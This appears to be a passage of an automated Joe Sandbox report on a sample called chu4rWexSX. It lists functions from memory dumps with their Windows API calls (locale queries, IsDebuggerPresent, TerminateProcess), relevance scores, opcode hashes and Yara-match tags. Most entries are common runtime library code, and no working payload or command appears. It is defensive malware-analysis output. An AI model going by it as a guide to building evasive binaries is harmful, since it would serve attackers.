Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE50
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE5D

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 00778965
IsValidCodePage.KERNEL32(00000000), ref: 007789C0
IsValidLocale.KERNEL32(?,00000001), ref: 007789CF
GetLocaleInfoW.KERNEL32(?,00001001,0076D6CC,00000040,?,0076D7EC,00000055,00000000,?,?,00000055,00000000), ref: 00778A17
GetLocaleInfoW.KERNEL32(?,00001002,0076D74C,00000040), ref: 00778A36

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser
String ID:
API String ID: 2287132625-0
Opcode ID: d2750415eb4284a9cc72e8ad31b2c235baf8c0d0e978c784e8a34ecef8f8a0b9
Instruction ID: 418604c03d722d84efeaf2fc4c9b2286dda3d075eaf4eea2cfcf07c63b8a5a98
Opcode Fuzzy Hash: d2750415eb4284a9cc72e8ad31b2c235baf8c0d0e978c784e8a34ecef8f8a0b9
Instruction Fuzzy Hash: 42519471940209AFDF50DFA5CC49ABE73B8FF14780F14852AEA18E7151DF78A9448B63

Function 00777F21 Relevance: 6.2, APIs: 4, Instructions: 236COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,0076D6D3,?,?,?,?,0076D12A,?,00000004), ref: 00778003
_wcschr.LIBVCRUNTIME ref: 00778093
_wcschr.LIBVCRUNTIME ref: 007780A1
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,0076D6D3,00000000,0076D7F3), ref: 00778144

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid_free
String ID:
API String ID: 2444527052-0
Opcode ID: 9bfb1f7bcb3f23e61d0a3b1e1ba4af974e92bc37cb4cb82b26ecafc5228d1ae6
Instruction ID: c935aa386fa25ac0a872c2ab045073e6c947f9f9bd1dcc44598736eb5b0f1311
Opcode Fuzzy Hash: 9bfb1f7bcb3f23e61d0a3b1e1ba4af974e92bc37cb4cb82b26ecafc5228d1ae6
Instruction Fuzzy Hash: A961F671644306EADF28AB35CC4ABA773A8EF04390F14842AF90DD7181EF78E955C761

Function 004380A5 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBE9
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EBF6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004380F9
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043814A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0043820A

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorInfoLastLocale$_free
String ID:
API String ID: 2834031935-0
Opcode ID: 1c03b6edc670916b7f836780900f5f8eca4febcab34e1fb694bed54e174bbb24
Instruction ID: cd25cad230a824031a8e488543870d85060e1904afce877aad71c6c4496d5e6e
Opcode Fuzzy Hash: 1c03b6edc670916b7f836780900f5f8eca4febcab34e1fb694bed54e174bbb24
Instruction Fuzzy Hash: 7761A1715007079BDF289F25CC82BBBB7A8EF08300F1051AEFD16C6681EB789956CB58

Function 007672EA Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,0074AB22), ref: 007673E2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,0074AB22), ref: 007673EC
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,0074AB22), ref: 007673F9

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 760187f04c106bb67235f77f3638943f3737b3f59dba57fa259800565dace798
Instruction ID: 7bcabdc9d62217e4dec87992813afedb32b544fdd0e6af16b415c186f006e9b2
Opcode Fuzzy Hash: 760187f04c106bb67235f77f3638943f3737b3f59dba57fa259800565dace798
Instruction Fuzzy Hash: 5A31B174901228DBCB21DF64DD89B99BBB8BF08310F5041EAE91DA7251EB749F818F45

Function 00427083 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0042717B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00427185
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 00427192

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 1b1d5996fa0568dce5f88322355ca943860c0c5cfd50722c665e7e978fdffbbf
Instruction ID: e0d30ef45e2b29281722e24e357fcb620ea9336cf32e7f7591920ba4503aae26
Opcode Fuzzy Hash: 1b1d5996fa0568dce5f88322355ca943860c0c5cfd50722c665e7e978fdffbbf
Instruction Fuzzy Hash: 3831C67590122CABCB21DF65DC8979DB7B8BF08310F5042EAE91CA7290E7349F958F49

Function 0076CD76 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,0076CD4C,00000000,004544C0,0000000C,0076CEA3,00000000,00000002,00000000), ref: 0076CD97
TerminateProcess.KERNEL32(00000000,?,0076CD4C,00000000,004544C0,0000000C,0076CEA3,00000000,00000002,00000000), ref: 0076CD9E
ExitProcess.KERNEL32 ref: 0076CDB0

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction ID: 0b781795c7c814ab2121537ba03d04fdc34cce792aa9a8f45ec6dd34b7cd10eb
Opcode Fuzzy Hash: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction Fuzzy Hash: 55E09235110248ABCF926B94D909A583F69EF41781F084424FD8A9A622CF3A9DA2CB54

Function 0042CB0F Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002,00000000,?,0042AC6F,00000003), ref: 0042CB30
TerminateProcess.KERNEL32(00000000,?,0042CAE5,00000003,004544C0,0000000C,0042CC3C,00000003,00000002,00000000,?,0042AC6F,00000003), ref: 0042CB37
ExitProcess.KERNEL32 ref: 0042CB49

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction ID: 0b24a19dfd94476852bf672fedc0eff34a8ee21c9854747c61dbadce4354f22e
Opcode Fuzzy Hash: 79ed643cf9efe849a4fc209ba37ee0fe8628f070cd5014dd20865af383e0a2d6
Instruction Fuzzy Hash: 5EE04631110208ABCF516F60FD4AE493F29EB01745F400025FD058B232CB3AECA2CB88

Function 0074092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 00740966
GetProcAddress., xrefs: 007409DC, 007409DF, 007409E4
., xrefs: 0074095F

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 9c445dde4e534040e589f35a84965ab886e8504ae99f5c5bd9517124c3d7562e
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 6E316AB6910609DFDB10CF99C884AAEBBF9FF48324F24404AD941A7311D775EA45CFA4

Function 00775909 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 007759D3

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 065b28ca1b81a8d7db720b8f4cc1525fe0d15e4e5897fee681d17f79b396115b
Instruction ID: b96b23ff34f7f01d0927177fd295740cb0193be87b71518e4a32b88984e1186f
Opcode Fuzzy Hash: 065b28ca1b81a8d7db720b8f4cc1525fe0d15e4e5897fee681d17f79b396115b
Instruction Fuzzy Hash: 06412972500619AFCF249FB9CC8DEAB7B78EB80754F508269FA09D7180E6B5AD41CB50

Function 004356A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 0043576C

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: c06a81e67a0dd324afbf413f5aa29c1fe082e223c1f15148f670839821b11035
Instruction ID: 2e9eafe7067f67037588e270817b354874956be96bf8c7df4161e7eae3b9d50c
Opcode Fuzzy Hash: c06a81e67a0dd324afbf413f5aa29c1fe082e223c1f15148f670839821b11035
Instruction Fuzzy Hash: 47416E72900618AFCB24AF79DC49EBB77B8EB88314F50426EF905D7280E6349D41CB58

Function 00431E70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,0042CEC3,?,00000004), ref: 00431EC3

Strings

GetLocaleInfoEx, xrefs: 00431E81, 00431E8B

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: InfoLocale
String ID: GetLocaleInfoEx
API String ID: 2299586839-2904428671
Opcode ID: c04778f9489d57d60a6ae43f6e4ca1cadaebce1bde3dc91f347a133521f97073
Instruction ID: f75d9f483e39270beef6f7e5c865874cd845369d89b5abc9313f01ae1297aebd
Opcode Fuzzy Hash: c04778f9489d57d60a6ae43f6e4ca1cadaebce1bde3dc91f347a133521f97073
Instruction Fuzzy Hash: E5F0F631A80318BBDB115F519C02FAE7B64FF48701F10411AFD05262A0CB769D20EA9C

Function 0076B9F7 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0701cde56affe015a46934e60a6fe18f0de87cab765414f8e5e0b46c306f628e
Instruction ID: aa013859ffe2714b0c1ebd3e33bb28e1e6e0a6b3cdc77cedfeab9105bc20575d
Opcode Fuzzy Hash: 0701cde56affe015a46934e60a6fe18f0de87cab765414f8e5e0b46c306f628e
Instruction Fuzzy Hash: 14021D71E002199FDF24CFA9C8806ADB7F1EF89314F258169D91AEB345D735AE41CB90

Function 0042B790 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18215cc127fb6d25ddc8176a55c1e05acb677f5d7f76b8f16f193088134325ee
Instruction ID: 7e34f314aa1c2c0035fa0254aeb5b2a7a8bb7b753e19931f46a0ca4f46e4cc28
Opcode Fuzzy Hash: 18215cc127fb6d25ddc8176a55c1e05acb677f5d7f76b8f16f193088134325ee
Instruction Fuzzy Hash: AA023E71E002299FDF14CFA9D8806AEFBF1EF88314F55826AD919E7384D735A941CB84

Function 0074234F Relevance: 3.1, APIs: 2, Instructions: 125nativewindowCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 00742376
PostQuitMessage.USER32(00000000), ref: 00742514

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: MessageNtdllPostProc_QuitWindow
String ID:
API String ID: 4264772764-0
Opcode ID: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction ID: 7a3a7320c8135f8ca71aee7d0f481aa3ec607e788d7e07d26b14ac21a724566b
Opcode Fuzzy Hash: 2d3fa111deeb51c5c54420dda3bfc97de4f0d89d107d67c5d9fb77a802c71042
Instruction Fuzzy Hash: 3C410626278340E9EB149FA0BC55A653360FF1CB52F10642BE608CB2B3E3B58D51C75E

Function 00773BD6 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00773BD1,?,?,00000008,?,?,0077C092,00000000), ref: 00773E03

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction ID: 75b76fcfed6461ec6ecb744f6e33d27fc031416e54b5ed7135ea469366af1c30
Opcode Fuzzy Hash: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction Fuzzy Hash: 25B11B31610609DFDB15CF28C48AB657BE0FF453A4F25C658E89ACF2A1C379DA91DB40

Function 0043396F Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0043396A,?,?,00000008,?,?,0043BE2B,00000000), ref: 00433B9C

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction ID: 0d58cad433056efeb4f609712278fb7efe7eef6320d7a95380de60ba9580662a
Opcode Fuzzy Hash: b0b4610bb03777ad758048cd1ef5cb22e29bdb37333456a4629c24123e072e97
Instruction Fuzzy Hash: DBB15C32610608DFD715CF28C486B657BE0FF49366F259659E8D9CF2A1C339EA82CB44

Function 0077855C Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE50
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE5D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007785B0

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: dc9f3f383d32266536e15c6f9ef47a1011c03c5e9d0748241d65231409d89f36
Instruction ID: 5b86e94ccfe0cc33d7018b0f67921129e489912f2be13268aefb7759fc88c4ae
Opcode Fuzzy Hash: dc9f3f383d32266536e15c6f9ef47a1011c03c5e9d0748241d65231409d89f36
Instruction Fuzzy Hash: 3F21C27299020AABEF649B24CC49BBA77ACEB01350F10817AFD09C6146EF799D54CB52

Function 004382F5 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBE9
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EBF6

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00438349

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: 02b05298bde0058de255417ecc24e22b643044efb6b3cbe517a32a29154d7337
Instruction ID: 4b7e95eaaefb6737f65d6809931eaab0f9949332f19931354a8de6e340c84cfa
Opcode Fuzzy Hash: 02b05298bde0058de255417ecc24e22b643044efb6b3cbe517a32a29154d7337
Instruction Fuzzy Hash: 63219072510206ABDB24AB25DC41ABAB7A8EB49714F10117FFD01C6381EB7AAD41CB58

Function 007781E4 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

EnumSystemLocalesW.KERNEL32(004380A5,00000001,00000000,?,0076D6CC,?,00778939,00000000,?,?,?), ref: 00778256

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 8ee5b05f34aa341ea444763d65d795ea0629dac3a60a33906d3eb2b8c60d97b0
Instruction ID: 51ae5ebeda326b98a8b99d5dd9858873694d7b818c1c6054778f55ebc65a22e1
Opcode Fuzzy Hash: 8ee5b05f34aa341ea444763d65d795ea0629dac3a60a33906d3eb2b8c60d97b0
Instruction Fuzzy Hash: AA114C3B2007019FDF189F79C89567ABB91FF843A9B18842DE94B87641D7757803C740

Function 00437F7D Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

EnumSystemLocalesW.KERNEL32(004380A5,00000001,00000000,?,0042D465,?,004386D2,00000000,?,?,?), ref: 00437FEF

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 157f17fe2aac2f981308302d193287104392c6e1996501e14c2df405bf692fed
Instruction ID: 4354b8456866fd8e78318a915b0d8e2cb31c14bd8c5c9a4bf52c3490d1a143c2
Opcode Fuzzy Hash: 157f17fe2aac2f981308302d193287104392c6e1996501e14c2df405bf692fed
Instruction Fuzzy Hash: F211293B2047015FDB289F39D89167ABBA1FF84328F15442DE58687B40D7797842C744

Function 0077878C Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0077852A,00000000,00000000,?), ref: 007787B8

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: 484eb23ee604f396ff62d1ae9de0a3b910f949b6a3a7dfc562431161fa9a6d37
Instruction ID: 3c225d16bed2f1ce4419472cbcc6d16814626873cb405d3995f5c955e7d31ac1
Opcode Fuzzy Hash: 484eb23ee604f396ff62d1ae9de0a3b910f949b6a3a7dfc562431161fa9a6d37
Instruction Fuzzy Hash: 1BF0FE36650115ABDF2C9665CC0D7BB7758FB40794F148429ED0AA3140DE78BD0285D5

Function 00438525 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004382C3,00000000,00000000,?), ref: 00438551

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: 337a2de6b1bf7d1e47597153f93e63187dff38eb8cbd869ce9d55d853e50a66e
Instruction ID: 55d96bffa5204c13915c45c901c590eeee5e17d2be7e0a570d5517895b0da640
Opcode Fuzzy Hash: 337a2de6b1bf7d1e47597153f93e63187dff38eb8cbd869ce9d55d853e50a66e
Instruction Fuzzy Hash: BEF0FE326102157FDB24566588057BBB754DB44314F05482FFC05E3240EE78FD4189D8

Function 00778553 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE50
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE5D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007785B0

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: 1066d348457ce15d115695fdbc727aca40596da59341ecdf7b524d2a6e2749d3
Instruction ID: 5f88a2c3b3af35dbd894b75f7e40e5aaabcae76708b07d5ca1c723a514be2796
Opcode Fuzzy Hash: 1066d348457ce15d115695fdbc727aca40596da59341ecdf7b524d2a6e2749d3
Instruction Fuzzy Hash: 84012132A81255EBCB04EF74DC89ABA33A8DF05350F0481BAFE06DB282DB396C048750

Function 0077827F Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0076EDF1: GetLastError.KERNEL32(?,?,0076769C,?,00000000,?,00769A96,007421C8,00000000,?,0044EEE0), ref: 0076EDF5
Part of subcall function 0076EDF1: _free.LIBCMT ref: 0076EE28
Part of subcall function 0076EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0076EE69

EnumSystemLocalesW.KERNEL32(004382F5,00000001,?,?,0076D6CC,?,007788FD,0076D6CC,?,?,?,?,?,0076D6CC,?,?), ref: 007782CB

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: fbe2a370c4555c6ac6f5a3106f2e03f8955d143dcaf2d8881c6a7e9794f25f82
Instruction ID: 996aebc541e7f7b3eb6285aebff81739ce2a73b4c8de445f35db2d2ef0404d0a
Opcode Fuzzy Hash: fbe2a370c4555c6ac6f5a3106f2e03f8955d143dcaf2d8881c6a7e9794f25f82
Instruction Fuzzy Hash: 35F0C236300B045FDB245F79D899B7A7B95FF813A8F15842DFA0A8B642DA759C028614

Function 00438018 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

EnumSystemLocalesW.KERNEL32(004382F5,00000001,?,?,0042D465,?,00438696,0042D465,?,?,?,?,?,0042D465,?,?), ref: 00438064

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
